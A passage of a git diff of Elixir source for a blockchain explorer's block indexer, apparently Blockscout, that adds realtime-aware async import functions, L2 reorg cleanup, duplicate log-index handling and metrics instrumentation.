hash, - created_contract_address_hash: %Hash{} = created_contract_address_hash, - created_contract_code_indexed_at: nil - } -> - [%{block_number: block_number, hash: hash, created_contract_address_hash: created_contract_address_hash}] - - %Transaction{created_contract_address_hash: nil} -> - [] - end) - |> ContractCode.async_fetch(10_000) + def async_import_realtime_coin_balances(%{address_coin_balances: balances}) do + CoinBalanceRealtime.async_fetch_balances(balances) + end + + def async_import_realtime_coin_balances(_), do: :ok + + def async_import_created_contract_codes(%{transactions: transactions}, realtime?) do + ContractCode.async_fetch(transactions, realtime?, 10_000) end - def async_import_created_contract_codes(_), do: :ok + def async_import_created_contract_codes(_, _), do: :ok - def async_import_internal_transactions(%{blocks: blocks}) do + def async_import_internal_transactions(%{blocks: blocks} = imported, realtime?) do blocks |> Enum.map(fn %Block{number: block_number} -> block_number end) - |> InternalTransaction.async_fetch(10_000) + |> InternalTransaction.async_fetch(Map.get(imported, :transactions, []), realtime?, 10_000) end - def async_import_internal_transactions(_), do: :ok + def async_import_internal_transactions(_, _), do: :ok - def async_import_tokens(%{tokens: tokens}) do + def async_import_tokens(%{tokens: tokens}, realtime?) do tokens |> Enum.map(& &1.contract_address_hash) - |> Token.async_fetch() + |> Token.async_fetch(realtime?) end - def async_import_tokens(_), do: :ok + def async_import_tokens(_, _), do: :ok - def async_import_token_balances(%{address_token_balances: token_balances}) do - TokenBalance.async_fetch(token_balances) + def async_import_token_balances(%{address_token_balances: token_balances}, realtime?) do + TokenBalance.async_fetch(token_balances, realtime?) end - def async_import_token_balances(_), do: :ok + def async_import_token_balances(_, _), do: :ok - def async_import_uncles(%{block_second_degree_relations: block_second_degree_relations}) do - UncleBlock.async_fetch_blocks(block_second_degree_relations) + def async_import_uncles(%{block_second_degree_relations: block_second_degree_relations}, realtime?) do + UncleBlock.async_fetch_blocks(block_second_degree_relations, realtime?) end - def async_import_uncles(_), do: :ok + def async_import_uncles(_, _), do: :ok - def async_import_replaced_transactions(%{transactions: transactions}) do + def async_import_replaced_transactions(%{transactions: transactions}, realtime?) do transactions |> Enum.flat_map(fn %Transaction{block_hash: %Hash{} = block_hash, nonce: nonce, from_address_hash: %Hash{} = from_address_hash} -> @@ -317,10 +520,45 @@ defmodule Indexer.Block.Fetcher do %Transaction{block_hash: nil} -> [] end) - |> ReplacedTransaction.async_fetch(10_000) + |> ReplacedTransaction.async_fetch(realtime?, 10_000) + end + + def async_import_replaced_transactions(_, _), do: :ok + + @doc """ + Fills a buffer of L1 token addresses to handle it asynchronously in + the Indexer.Fetcher.PolygonZkevm.BridgeL1Tokens module. The addresses are + taken from the `operations` list. + """ + @spec async_import_polygon_zkevm_bridge_l1_tokens(map()) :: :ok + def async_import_polygon_zkevm_bridge_l1_tokens(%{polygon_zkevm_bridge_operations: operations}) do + PolygonZkevmBridgeL1Tokens.async_fetch(operations) + end + + def async_import_polygon_zkevm_bridge_l1_tokens(_), do: :ok + + def async_import_celo_epoch_block_operations(%{celo_epochs: epochs}, realtime?) do + CeloEpochBlockOperations.async_fetch(epochs, realtime?) end - def async_import_replaced_transactions(_), do: :ok + def async_import_celo_epoch_block_operations(_, _), do: :ok + + def async_import_filecoin_addresses_info(%{addresses: addresses}, realtime?) do + addresses + |> Enum.map(&%FilecoinPendingAddressOperation{address_hash: &1.hash}) + |> FilecoinAddressInfo.async_fetch(realtime?) + end + + def async_import_filecoin_addresses_info(_, _), do: :ok + + def async_import_signed_authorizations_statuses( + %{transactions: transactions, signed_authorizations: signed_authorizations}, + realtime? + ) do + SignedAuthorizationStatus.async_fetch(transactions, signed_authorizations, realtime?) + end + + def async_import_signed_authorizations_statuses(_, _), do: :ok defp block_reward_errors_to_block_numbers(block_reward_errors) when is_list(block_reward_errors) do Enum.map(block_reward_errors, &block_reward_error_to_block_number/1) @@ -353,15 +591,15 @@ defmodule Indexer.Block.Fetcher do def fetch_beneficiaries_manual(block, transactions) do block - |> Chain.block_reward_by_parts(transactions) + |> Block.block_reward_by_parts(transactions) |> reward_parts_to_beneficiaries() end defp reward_parts_to_beneficiaries(reward_parts) do reward = reward_parts.static_reward - |> Wei.sum(reward_parts.txn_fees) - |> Wei.sub(reward_parts.burned_fees) + |> Wei.sum(reward_parts.transaction_fees) + |> Wei.sub(reward_parts.burnt_fees) |> Wei.sum(reward_parts.uncle_reward) MapSet.new([ @@ -526,6 +764,63 @@ defmodule Indexer.Block.Fetcher do hash: hash } = address_params ) do - {{hash, fetched_coin_balance_block_number}, Map.delete(address_params, :fetched_coin_balance_block_number)} + {{String.downcase(hash), fetched_coin_balance_block_number}, + Map.delete(address_params, :fetched_coin_balance_block_number)} + end + + def token_transfers_merge_token(token_transfers, tokens) do + Enum.map(token_transfers, fn token_transfer -> + token = + Enum.find(tokens, fn token -> + token.contract_address_hash == token_transfer.token_contract_address_hash + end) + + Map.put(token_transfer, :token, token) + end) + end + + defp process_addresses_nonce(addresses) do + {addresses_excluding_nonce_update, addresses_nonce_update_params} = + Enum.reduce(addresses, {[], []}, fn address, + {addresses_excluding_nonce_update_acc, addresses_nonce_update_params_acc} -> + case Map.get(address, :nonce) do + nil -> + {[address | addresses_excluding_nonce_update_acc], addresses_nonce_update_params_acc} + + nonce -> + {[Map.delete(address, :nonce) | addresses_excluding_nonce_update_acc], + [%{hash: address.hash, nonce: nonce} | addresses_nonce_update_params_acc]} + end + end) + + AddressNonceUpdater.add(addresses_nonce_update_params) + + Enum.reverse(addresses_excluding_nonce_update) + end + + # Asynchronously schedules matching of Arbitrum L1-to-L2 messages where the message ID is hashed. + @spec async_match_arbitrum_messages_to_l2([map()]) :: :ok + defp async_match_arbitrum_messages_to_l2([]), do: :ok + + defp async_match_arbitrum_messages_to_l2(transactions_with_messages_from_l1) do + ArbitrumMessagesToL2Matcher.async_discover_match(transactions_with_messages_from_l1) + end + + # workaround for cases when RPC send logs with same index within one block + defp maybe_set_new_log_index(logs) do + logs + |> Enum.group_by(& &1.block_hash) + |> Enum.map(fn {block_hash, logs_per_block} -> + if logs_per_block |> Enum.frequencies_by(& &1.index) |> Map.values() |> Enum.max() == 1 do + logs_per_block + else + Logger.error("Found logs with same index within one block: #{block_hash}") + + logs_per_block + |> Enum.sort_by(&{&1.transaction_index, &1.index, &1.transaction_hash}) + |> Enum.with_index(&%{&1 | index: &2}) + end + end) + |> List.flatten() end end diff --git a/apps/indexer/lib/indexer/block/fetcher/receipts.ex b/apps/indexer/lib/indexer/block/fetcher/receipts.ex index f38676cf12bd..fd1bef51bace 100644 --- a/apps/indexer/lib/indexer/block/fetcher/receipts.ex +++ b/apps/indexer/lib/indexer/block/fetcher/receipts.ex @@ -1,12 +1,35 @@ defmodule Indexer.Block.Fetcher.Receipts do @moduledoc """ - Fetches transaction receipts after the transactions have been fetched with the blocks in `Indexer.BlockFetcher`. + Fetches and processes transaction receipts and logs for block indexing. + + Makes batched JSON-RPC requests to retrieve receipts and logs after initial + block data is fetched. Provides configurable concurrency and batch sizes for + optimized fetching. """ require Logger alias Indexer.Block + @doc """ + Fetches transaction receipts and logs in batches with configurable concurrency. + + Processes transaction parameters in chunks, making concurrent requests to retrieve + receipts and logs. Empty transaction lists return empty results immediately. + + ## Parameters + - `state`: Block fetcher state containing JSON-RPC, concurrency and batch size + configuration + - `transaction_params`: List of transaction parameter maps to fetch receipts for + + ## Returns + - `{:ok, %{logs: list(), receipts: list()}}` - Successfully fetched receipts + and logs with block numbers added where missing + - `{:error, reason}` - Error occurred during fetch or processing + """ + @spec fetch(Block.Fetcher.t(), [map()]) :: {:ok, %{logs: [map()], receipts: [map()]}} | {:error, term()} + def fetch(state, transaction_params) + def fetch(%Block.Fetcher{} = _state, []), do: {:ok, %{logs: [], receipts: []}} def fetch( @@ -35,6 +58,23 @@ defmodule Indexer.Block.Fetcher.Receipts do end end + @doc """ + Merges transaction receipts with their corresponding transactions. + + Combines transaction parameters with receipt parameters, preserving the original + created contract address if the receipt would override it with nil. + + ## Parameters + - `transactions_params`: List of transaction parameter maps + - `receipts_params`: List of receipt parameter maps + + ## Returns + - List of merged transaction maps containing both transaction and receipt data + """ + @spec put( + [%{required(:hash) => EthereumJSONRPC.hash(), optional(atom()) => any()}], + [%{required(:transaction_hash) => EthereumJSONRPC.hash(), optional(atom()) => any()}] + ) :: [map()] def put(transactions_params, receipts_params) when is_list(transactions_params) and is_list(receipts_params) do transaction_hash_to_receipt_params = Enum.into(receipts_params, %{}, fn %{transaction_hash: transaction_hash} = receipt_params -> @@ -45,6 +85,8 @@ defmodule Indexer.Block.Fetcher.Receipts do receipts_params = Map.fetch!(transaction_hash_to_receipt_params, transaction_hash) merged_params = Map.merge(transaction_params, receipts_params) + # Preserve the created_contract_address_hash from transaction_params if receipts_params + # would override it with nil if transaction_params[:created_contract_address_hash] && is_nil(receipts_params[:created_contract_address_hash]) do Map.put(merged_params, :created_contract_address_hash, transaction_params[:created_contract_address_hash]) else @@ -53,14 +95,26 @@ defmodule Indexer.Block.Fetcher.Receipts do end) end + # Updates block numbers in transaction logs by matching them with their parent transactions. + # + # For logs with missing block numbers, finds the corresponding transaction and copies its + # block number to the log. Leaves logs with existing block numbers unchanged. + # + # ## Parameters + # - `params`: Map containing logs and other optional data + # - `transaction_params`: List of transaction parameter maps with block numbers + # + # ## Returns + # - Updated params map with block numbers added to logs where missing + @spec set_block_number_to_logs( + %{:logs => list(), optional(atom()) => any()}, + [%{:hash => EthereumJSONRPC.hash(), optional(atom()) => any()}] + ) :: %{:logs => list(), optional(atom()) => any()} defp set_block_number_to_logs(%{logs: logs} = params, transaction_params) do logs_with_block_numbers = Enum.map(logs, fn %{transaction_hash: transaction_hash, block_number: block_number} = log_params -> if is_nil(block_number) do - transaction = - Enum.find(transaction_params, fn transaction -> - transaction[:hash] == transaction_hash - end) + transaction = find_transaction_by_hash(transaction_params, transaction_hash) %{log_params | block_number: transaction[:block_number]} else @@ -70,4 +124,16 @@ defmodule Indexer.Block.Fetcher.Receipts do %{params | logs: logs_with_block_numbers} end + + # Finds a transaction in the list of transaction parameters by its hash. + @spec find_transaction_by_hash( + [%{:hash => EthereumJSONRPC.hash(), optional(atom()) => any()}], + EthereumJSONRPC.hash() + ) :: + %{:hash => EthereumJSONRPC.hash(), optional(atom()) => any()} | nil + defp find_transaction_by_hash(transaction_params, transaction_hash) do + Enum.find(transaction_params, fn transaction -> + transaction[:hash] == transaction_hash + end) + end end diff --git a/apps/indexer/lib/indexer/block/realtime/fetcher.ex b/apps/indexer/lib/indexer/block/realtime/fetcher.ex index 5dacd07a7dc1..38b80cb147a7 100644 --- a/apps/indexer/lib/indexer/block/realtime/fetcher.ex +++ b/apps/indexer/lib/indexer/block/realtime/fetcher.ex @@ -9,39 +9,55 @@ defmodule Indexer.Block.Realtime.Fetcher do require Indexer.Tracer require Logger - import EthereumJSONRPC, only: [integer_to_quantity: 1, quantity_to_integer: 1] + import EthereumJSONRPC, only: [quantity_to_integer: 1] import Indexer.Block.Fetcher, only: [ - async_import_block_rewards: 1, - async_import_created_contract_codes: 1, - async_import_internal_transactions: 1, - async_import_replaced_transactions: 1, - async_import_tokens: 1, - async_import_token_balances: 1, + async_import_blobs: 2, + async_import_block_rewards: 2, + async_import_celo_epoch_block_operations: 2, + async_import_created_contract_codes: 2, + async_import_filecoin_addresses_info: 2, + async_import_internal_transactions: 2, + async_import_polygon_zkevm_bridge_l1_tokens: 1, + async_import_realtime_coin_balances: 1, + async_import_replaced_transactions: 2, + async_import_signed_authorizations_statuses: 2, + async_import_token_balances: 2, async_import_token_instances: 1, - async_import_uncles: 1, + async_import_tokens: 2, + async_import_uncles: 2, fetch_and_import_range: 2 ] alias Ecto.Changeset - alias EthereumJSONRPC.{FetchedBalances, Subscription} + alias EthereumJSONRPC.{Blocks, Subscription} alias Explorer.Chain - alias Explorer.Chain.Cache.Accounts + alias Explorer.Chain.Cache.Counters.AverageBlockTime alias Explorer.Chain.Events.Publisher - alias Explorer.Counters.AverageBlockTime + alias Explorer.Utility.MissingRangesManipulator alias Indexer.{Block, Tracer} alias Indexer.Block.Realtime.TaskSupervisor - alias Indexer.Fetcher.CoinBalance - alias Indexer.Transform.Addresses + alias Indexer.Fetcher.OnDemand.ContractCreator, as: ContractCreatorOnDemand + alias Indexer.Fetcher.Optimism + alias Indexer.Prometheus + alias Indexer.Prometheus.Instrumenter alias Timex.Duration @behaviour Block.Fetcher @minimum_safe_polling_period :timer.seconds(1) + @max_realtime_blocks_in_memory 10 + + @shutdown_after :timer.minutes(1) @enforce_keys ~w(block_fetcher)a - defstruct ~w(block_fetcher subscription previous_number max_number_seen timer)a + + defstruct block_fetcher: nil, + subscription: nil, + previous_number: nil, + timer: nil, + last_realtime_blocks: %{} @type t :: %__MODULE__{ block_fetcher: %Block.Fetcher{ @@ -53,7 +69,8 @@ defmodule Indexer.Block.Realtime.Fetcher do }, subscription: Subscription.t(), previous_number: pos_integer() | nil, - max_number_seen: pos_integer() | nil + timer: reference(), + last_realtime_blocks: map() } def start_link([arguments, gen_server_options]) do @@ -63,6 +80,7 @@ defmodule Indexer.Block.Realtime.Fetcher do @impl GenServer def init(%{block_fetcher: %Block.Fetcher{} = block_fetcher, subscribe_named_arguments: subscribe_named_arguments}) do Logger.metadata(fetcher: :block_realtime) + Process.flag(:trap_exit, true) {:ok, %__MODULE__{block_fetcher: %Block.Fetcher{block_fetcher | broadcast: :realtime, callback_module: __MODULE__}}, {:continue, {:init, subscribe_named_arguments}}} @@ -74,15 +92,30 @@ defmodule Indexer.Block.Realtime.Fetcher do {:noreply, %__MODULE__{state | timer: timer} |> subscribe_to_new_heads(subscribe_named_arguments)} end + # This handler catches blocks appeared in websocket (if WS is enabled). + # + # It takes into account the block hash which was lastly polled by the `:poll_latest_block_number` handler: if a block with + # the same hash is already polled, the handler ignores it. Otherwise, the handler starts fetching and importing the block, and + # schedules a new polling. + # + # ## Parameters + # - `{subscription, {:ok, block}}` where `subscription` is an instance of WS subscription. + # - `state` contains service parameters, also including: + # `previous_number` - the block number reported by the previous call. + # `timer` - the timer to call `:poll_latest_block_number` handler next time. + # `last_realtime_blocks` - a map of recent realtime blocks got earlier. + # + # ## Returns + # - `{:noreply, state}` tuple where the `state` is the current or updated GenServer's state. @impl GenServer def handle_info( - {subscription, {:ok, %{"number" => quantity}}}, + {subscription, {:ok, %{"number" => quantity, "hash" => hash}}}, %__MODULE__{ block_fetcher: %Block.Fetcher{} = block_fetcher, subscription: %Subscription{} = subscription, previous_number: previous_number, - max_number_seen: max_number_seen, - timer: timer + timer: timer, + last_realtime_blocks: last_realtime_blocks } = state ) when is_binary(quantity) do @@ -92,42 +125,70 @@ defmodule Indexer.Block.Realtime.Fetcher do Publisher.broadcast([{:last_block_number, number}], :realtime) end - # Subscriptions don't support getting all the blocks and transactions data, - # so we need to go back and get the full block - start_fetch_and_import(number, block_fetcher, previous_number, max_number_seen) + if hash != Map.get(last_realtime_blocks, number) do + Process.cancel_timer(timer) - new_max_number = new_max_number(number, max_number_seen) + # Subscriptions don't support getting all the blocks and transactions data, + # so we need to go back and get the full block + start_fetch_and_import(number, block_fetcher, previous_number) - Process.cancel_timer(timer) - new_timer = schedule_polling() + new_timer = schedule_polling() - {:noreply, - %{ - state - | previous_number: number, - max_number_seen: new_max_number, - timer: new_timer - }} + {:noreply, + %{ + state + | previous_number: number, + timer: new_timer, + last_realtime_blocks: update_last_realtime_blocks(last_realtime_blocks, number, hash) + }} + else + # the block must be ignored if this block was already got earlier. + {:noreply, state} + end end + # This handler gets the latest block using RPC request to get the latest block number. + # It fetches the latest block number, starts its fetching and importing, and schedules the next polling iteration. + # + # ## Parameters + # - `:poll_latest_block_number`: The message that triggers the fetching process. + # - `state` contains service parameters, also including: + # `previous_number` - the block number reported by the previous block number fetching. + # `timer` - the timer to call this handler next time. + # `last_realtime_blocks` - a map of recent realtime blocks got earlier. + # + # ## Returns + # - `{:noreply, state}` tuple where the `state` is the current or updated GenServer's state. + # Contains updated `previous_number`, `timer`, and `last_realtime_blocks` values. @impl GenServer def handle_info( :poll_latest_block_number, %__MODULE__{ block_fetcher: %Block.Fetcher{json_rpc_named_arguments: json_rpc_named_arguments} = block_fetcher, previous_number: previous_number, - max_number_seen: max_number_seen + last_realtime_blocks: last_realtime_blocks } = state ) do - {number, new_max_number} = - case EthereumJSONRPC.fetch_block_number_by_tag("latest", json_rpc_named_arguments) do - {:ok, number} when is_nil(max_number_seen) or number > max_number_seen -> - start_fetch_and_import(number, block_fetcher, previous_number, number) - - {max_number_seen, number} - + {new_previous_number, new_last_realtime_blocks} = + with {:ok, %Blocks{blocks_params: [%{number: number, hash: hash}]}} <- + EthereumJSONRPC.fetch_block_by_tag("latest", json_rpc_named_arguments), + {:new_block, true, _} <- {:new_block, hash != last_realtime_blocks[number], number} do + number = + if abnormal_gap?(number, previous_number) do + new_number = max(number, previous_number) + start_fetch_and_import(new_number, block_fetcher, previous_number) + new_number + else + start_fetch_and_import(number, block_fetcher, previous_number) + number + end + + fetch_validators_async() + {number, update_last_realtime_blocks(last_realtime_blocks, number, hash)} + else _ -> - {previous_number, max_number_seen} + # the block must be ignored if this block was already got earlier. + {previous_number, last_realtime_blocks} end timer = schedule_polling() @@ -135,9 +196,9 @@ defmodule Indexer.Block.Realtime.Fetcher do {:noreply, %{ state - | previous_number: number, - max_number_seen: new_max_number, - timer: timer + | previous_number: new_previous_number, + timer: timer, + last_realtime_blocks: new_last_realtime_blocks }} end @@ -146,6 +207,40 @@ defmodule Indexer.Block.Realtime.Fetcher do {:noreply, state} end + @spec update_last_realtime_blocks(map(), non_neg_integer(), binary()) :: map() + defp update_last_realtime_blocks(last_realtime_blocks, number, hash) do + last_realtime_blocks + |> Enum.reject(fn {n, _} -> n <= number - @max_realtime_blocks_in_memory end) + |> Enum.into(%{}) + |> Map.put(number, hash) + end + + @impl GenServer + def terminate(_reason, %__MODULE__{timer: timer}) do + Process.cancel_timer(timer) + end + + defp fetch_validators_async do + chain_type = Application.get_env(:explorer, :chain_type) + do_fetch_validators_async(chain_type) + end + + defp do_fetch_validators_async(:stability) do + alias Indexer.Fetcher.Stability.Validator, as: StabilityValidator + + StabilityValidator.trigger_update_validators_list() + end + + defp do_fetch_validators_async(:blackfort) do + alias Indexer.Fetcher.Blackfort.Validator, as: BlackfortValidator + + BlackfortValidator.trigger_update_validators_list() + end + + defp do_fetch_validators_async(_chain_type) do + :ignore + end + defp subscribe_to_new_heads(%__MODULE__{subscription: nil} = state, subscribe_named_arguments) when is_list(subscribe_named_arguments) do case EthereumJSONRPC.subscribe("newHeads", subscribe_named_arguments) do @@ -168,15 +263,17 @@ defmodule Indexer.Block.Realtime.Fetcher do defp subscribe_to_new_heads(state, _), do: state - defp new_max_number(number, nil), do: number - - defp new_max_number(number, max_number_seen), do: max(number, max_number_seen) - defp schedule_polling do polling_period = - case AverageBlockTime.average_block_time() do - {:error, :disabled} -> 2_000 - block_time -> round(Duration.to_milliseconds(block_time) / 2) + case Application.get_env(:indexer, __MODULE__)[:polling_period] do + nil -> + case AverageBlockTime.average_block_time() do + {:error, :disabled} -> 2_000 + block_time -> min(round(Duration.to_milliseconds(block_time) / 2), 30_000) + end + + period -> + period end safe_polling_period = max(polling_period, @minimum_safe_polling_period) @@ -187,74 +284,56 @@ defmodule Indexer.Block.Realtime.Fetcher do @import_options ~w(address_hash_to_fetched_balance_block_number)a @impl Block.Fetcher - def import( - block_fetcher, - %{ - address_coin_balances: %{params: address_coin_balances_params}, - address_coin_balances_daily: %{params: address_coin_balances_daily_params}, - address_hash_to_fetched_balance_block_number: address_hash_to_block_number, - addresses: %{params: addresses_params}, - block_rewards: block_rewards - } = options - ) do - with {:balances, - {:ok, - %{ - addresses_params: balances_addresses_params, - balances_params: balances_params, - balances_daily_params: balances_daily_params - }}} <- - {:balances, - balances(block_fetcher, %{ - address_hash_to_block_number: address_hash_to_block_number, - addresses_params: addresses_params, - balances_params: address_coin_balances_params, - balances_daily_params: address_coin_balances_daily_params - })}, - {block_reward_errors, chain_import_block_rewards} = Map.pop(block_rewards, :errors), - chain_import_options = - options - |> Map.drop(@import_options) - |> put_in([:addresses, :params], balances_addresses_params) - |> put_in([:blocks, :params, Access.all(), :consensus], true) - |> put_in([:block_rewards], chain_import_block_rewards) - |> put_in([Access.key(:address_coin_balances, %{}), :params], balances_params) - |> put_in([Access.key(:address_coin_balances_daily, %{}), :params], balances_daily_params), - {:import, {:ok, imported} = ok} <- {:import, Chain.import(chain_import_options)} do + def import(_block_fetcher, %{block_rewards: block_rewards} = options) do + {block_reward_errors, chain_import_block_rewards} = Map.pop(block_rewards, :errors) + + chain_import_options = + options + |> Map.drop(@import_options) + |> put_in([:blocks, :params, Access.all(), :consensus], true) + |> put_in([:blocks, :params, Access.all(), :refetch_needed], false) + |> put_in([:block_rewards], chain_import_block_rewards) + + with {:import, {:ok, imported} = ok} <- {:import, Chain.import(chain_import_options)} do + last_block = + chain_import_options[:blocks][:params] + |> Enum.max_by(& &1.number, fn -> nil end) + + if not is_nil(last_block) do + Instrumenter.set_latest_block(last_block.number, last_block.timestamp) + end + async_import_remaining_block_data( imported, %{block_rewards: %{errors: block_reward_errors}} ) - Accounts.drop(imported[:addresses]) + ContractCreatorOnDemand.async_update_cache_of_contract_creator_on_demand(imported) ok end end def import(_, _) do - Logger.warn("Empty parameters were provided for realtime fetcher") + Logger.warning("Empty parameters were provided for realtime fetcher") {:ok, []} end - defp start_fetch_and_import(number, block_fetcher, previous_number, max_number_seen) do - start_at = determine_start_at(number, previous_number, max_number_seen) + def start_fetch_and_import(number, block_fetcher, previous_number) do + start_at = determine_start_at(number, previous_number) + is_reorg = reorg?(number, previous_number) for block_number_to_fetch <- start_at..number do - args = [block_number_to_fetch, block_fetcher, reorg?(number, max_number_seen)] - Task.Supervisor.start_child(TaskSupervisor, __MODULE__, :fetch_and_import_block, args) + args = [block_number_to_fetch, block_fetcher, is_reorg] + Task.Supervisor.start_child(TaskSupervisor, __MODULE__, :fetch_and_import_block, args, shutdown: @shutdown_after) end end - defp determine_start_at(number, nil, nil), do: number + defp determine_start_at(number, nil), do: number - defp determine_start_at(number, nil, max_number_seen) do - determine_start_at(number, number - 1, max_number_seen) - end - - defp determine_start_at(number, previous_number, max_number_seen) do - if reorg?(number, max_number_seen) do + defp determine_start_at(number, previous_number) do + if reorg?(number, previous_number) do # set start_at to NOT fill in skipped numbers number else @@ -263,19 +342,32 @@ defmodule Indexer.Block.Realtime.Fetcher do end end - defp reorg?(number, max_number_seen) when is_integer(max_number_seen) and number <= max_number_seen do + defp reorg?(number, previous_number) when is_integer(previous_number) and number <= previous_number do true end defp reorg?(_, _), do: false + @default_max_gap 1000 + defp abnormal_gap?(_number, nil), do: false + + defp abnormal_gap?(number, previous_number) do + max_gap = Application.get_env(:indexer, __MODULE__)[:max_gap] || @default_max_gap + + abs(number - previous_number) > max_gap + end + @reorg_delay 5_000 @decorate trace(name: "fetch", resource: "Indexer.Block.Realtime.Fetcher.fetch_and_import_block/3", tracer: Tracer) def fetch_and_import_block(block_number_to_fetch, block_fetcher, reorg?, retry \\ 3) do + Process.flag(:trap_exit, true) + Indexer.Logger.metadata( fn -> if reorg? do + remove_assets_by_number(block_number_to_fetch) + # give previous fetch attempt (for same block number) a chance to finish # before fetching again, to reduce block consensus mistakes :timer.sleep(@reorg_delay) @@ -288,6 +380,48 @@ defmodule Indexer.Block.Realtime.Fetcher do ) end + @spec remove_assets_by_number(non_neg_integer()) :: any() + defp remove_assets_by_number(reorg_block) do + chain_type = Application.get_env(:explorer, :chain_type) + do_remove_assets_by_number(chain_type, reorg_block) + end + + # Removes all rows from `op_transaction_batches`, `op_withdrawals`, + # `op_eip1559_config_updates`, and `op_interop_messages` tables + # previously written starting from the reorg block number + defp do_remove_assets_by_number(:optimism, reorg_block_number) do + # credo:disable-for-lines:5 Credo.Check.Design.AliasUsage + Optimism.handle_realtime_l2_reorg(reorg_block_number, Indexer.Fetcher.Optimism.EIP1559ConfigUpdate) + Optimism.handle_realtime_l2_reorg(reorg_block_number, Indexer.Fetcher.Optimism.Interop.Message) + Optimism.handle_realtime_l2_reorg(reorg_block_number, Indexer.Fetcher.Optimism.Interop.MessageFailed) + Indexer.Fetcher.Optimism.TransactionBatch.handle_l2_reorg(reorg_block_number) + Indexer.Fetcher.Optimism.Withdrawal.remove(reorg_block_number) + end + + # Removes all rows from `polygon_zkevm_bridge` table + # previously written starting from the reorg block number + defp do_remove_assets_by_number(:polygon_zkevm, reorg_block) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + Indexer.Fetcher.PolygonZkevm.BridgeL2.reorg_handle(reorg_block) + end + + # Removes all rows from `shibarium_bridge` table + # previously written starting from the reorg block number + defp do_remove_assets_by_number(:shibarium, reorg_block) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + Indexer.Fetcher.Shibarium.L2.reorg_handle(reorg_block) + end + + # Removes all rows from `scroll_bridge` and `scroll_l1_fee_params` tables + # previously written starting from the reorg block number + defp do_remove_assets_by_number(:scroll, reorg_block) do + # credo:disable-for-lines:2 Credo.Check.Design.AliasUsage + Indexer.Fetcher.Scroll.BridgeL2.reorg_handle(reorg_block) + Indexer.Fetcher.Scroll.L1FeeParam.handle_l2_reorg(reorg_block) + end + + defp do_remove_assets_by_number(_, _), do: :ok + @decorate span(tracer: Tracer) defp do_fetch_and_import_block(block_number_to_fetch, block_fetcher, retry) do time_before = Timex.now() @@ -295,9 +429,12 @@ defmodule Indexer.Block.Realtime.Fetcher do {fetch_duration, result} = :timer.tc(fn -> fetch_and_import_range(block_fetcher, block_number_to_fetch..block_number_to_fetch) end) + Prometheus.Instrumenter.block_full_process(fetch_duration, __MODULE__) + case result do {:ok, %{inserted: inserted, errors: []}} -> log_import_timings(inserted, fetch_duration, time_before) + MissingRangesManipulator.clear_batch([block_number_to_fetch..block_number_to_fetch]) Logger.debug("Fetched and imported.") {:ok, %{inserted: _, errors: [_ | _] = errors}} -> @@ -310,6 +447,8 @@ defmodule Indexer.Block.Realtime.Fetcher do end) {:error, {:import = step, [%Changeset{} | _] = changesets}} -> + Prometheus.Instrumenter.import_errors() + params = %{ changesets: changesets, block_number_to_fetch: block_number_to_fetch, @@ -333,6 +472,7 @@ defmodule Indexer.Block.Realtime.Fetcher do end {:error, {:import = step, reason}} -> + Prometheus.Instrumenter.import_errors() Logger.error(fn -> inspect(reason) end, step: step) {:error, {step, reason}} -> @@ -363,6 +503,7 @@ defmodule Indexer.Block.Realtime.Fetcher do defp log_import_timings(%{blocks: [%{number: number, timestamp: timestamp}]}, fetch_duration, time_before) do node_delay = Timex.diff(time_before, timestamp, :seconds) + Prometheus.Instrumenter.node_delay(node_delay) Logger.debug("Block #{number} fetching duration: #{fetch_duration / 1_000_000}s. Node delay: #{node_delay}s.", fetcher: :block_import_timings @@ -375,7 +516,7 @@ defmodule Indexer.Block.Realtime.Fetcher do defp retry_fetch_and_import_block(%{changesets: changesets} = params) do if unknown_block_number_error?(changesets) do - # Wait half a second to give Parity time to sync. + # Wait half a second to give Nethermind time to sync. :timer.sleep(500) number = params.block_number_to_fetch @@ -396,89 +537,21 @@ defmodule Indexer.Block.Realtime.Fetcher do imported, %{block_rewards: %{errors: block_reward_errors}} ) do - async_import_block_rewards(block_reward_errors) - async_import_created_contract_codes(imported) - async_import_internal_transactions(imported) - async_import_tokens(imported) - async_import_token_balances(imported) + realtime? = true + + async_import_realtime_coin_balances(imported) + async_import_block_rewards(block_reward_errors, realtime?) + async_import_created_contract_codes(imported, realtime?) + async_import_internal_transactions(imported, realtime?) + async_import_tokens(imported, realtime?) + async_import_token_balances(imported, realtime?) async_import_token_instances(imported) - async_import_uncles(imported) - async_import_replaced_transactions(imported) - end - - defp balances( - %Block.Fetcher{json_rpc_named_arguments: json_rpc_named_arguments}, - %{addresses_params: addresses_params} = options - ) do - case options - |> fetch_balances_params_list() - |> EthereumJSONRPC.fetch_balances(json_rpc_named_arguments) do - {:ok, %FetchedBalances{params_list: params_list, errors: []}} -> - merged_addresses_params = - %{address_coin_balances: params_list} - |> Addresses.extract_addresses() - |> Kernel.++(addresses_params) - |> Addresses.merge_addresses() - - value_fetched_at = DateTime.utc_now() - - importable_balances_params = Enum.map(params_list, &Map.put(&1, :value_fetched_at, value_fetched_at)) - - block_timestamp_map = CoinBalance.block_timestamp_map(params_list, json_rpc_named_arguments) - - importable_balances_daily_params = - Enum.map(params_list, fn param -> - day = Map.get(block_timestamp_map, "#{param.block_number}") - Map.put(param, :day, day) - end) - - {:ok, - %{ - addresses_params: merged_addresses_params, - balances_params: importable_balances_params, - balances_daily_params: importable_balances_daily_params - }} - - {:error, _} = error -> - error - - {:ok, %FetchedBalances{errors: errors}} -> - {:error, errors} - end - end - - defp fetch_balances_params_list(%{ - addresses_params: addresses_params, - address_hash_to_block_number: address_hash_to_block_number, - balances_params: balances_params - }) do - addresses_params - |> addresses_params_to_fetched_balances_params_set(%{address_hash_to_block_number: address_hash_to_block_number}) - |> MapSet.union(balances_params_to_fetch_balances_params_set(balances_params)) - # stable order for easier moxing - |> Enum.sort_by(fn %{hash_data: hash_data, block_quantity: block_quantity} -> {hash_data, block_quantity} end) - end - - defp addresses_params_to_fetched_balances_params_set(addresses_params, %{ - address_hash_to_block_number: address_hash_to_block_number - }) do - Enum.into(addresses_params, MapSet.new(), fn %{hash: address_hash} = address_params when is_binary(address_hash) -> - block_number = - case address_params do - %{fetched_coin_balance_block_number: block_number} when is_integer(block_number) -> - block_number - - _ -> - Map.fetch!(address_hash_to_block_number, address_hash) - end - - %{hash_data: address_hash, block_quantity: integer_to_quantity(block_number)} - end) - end - - defp balances_params_to_fetch_balances_params_set(balances_params) do - Enum.into(balances_params, MapSet.new(), fn %{address_hash: 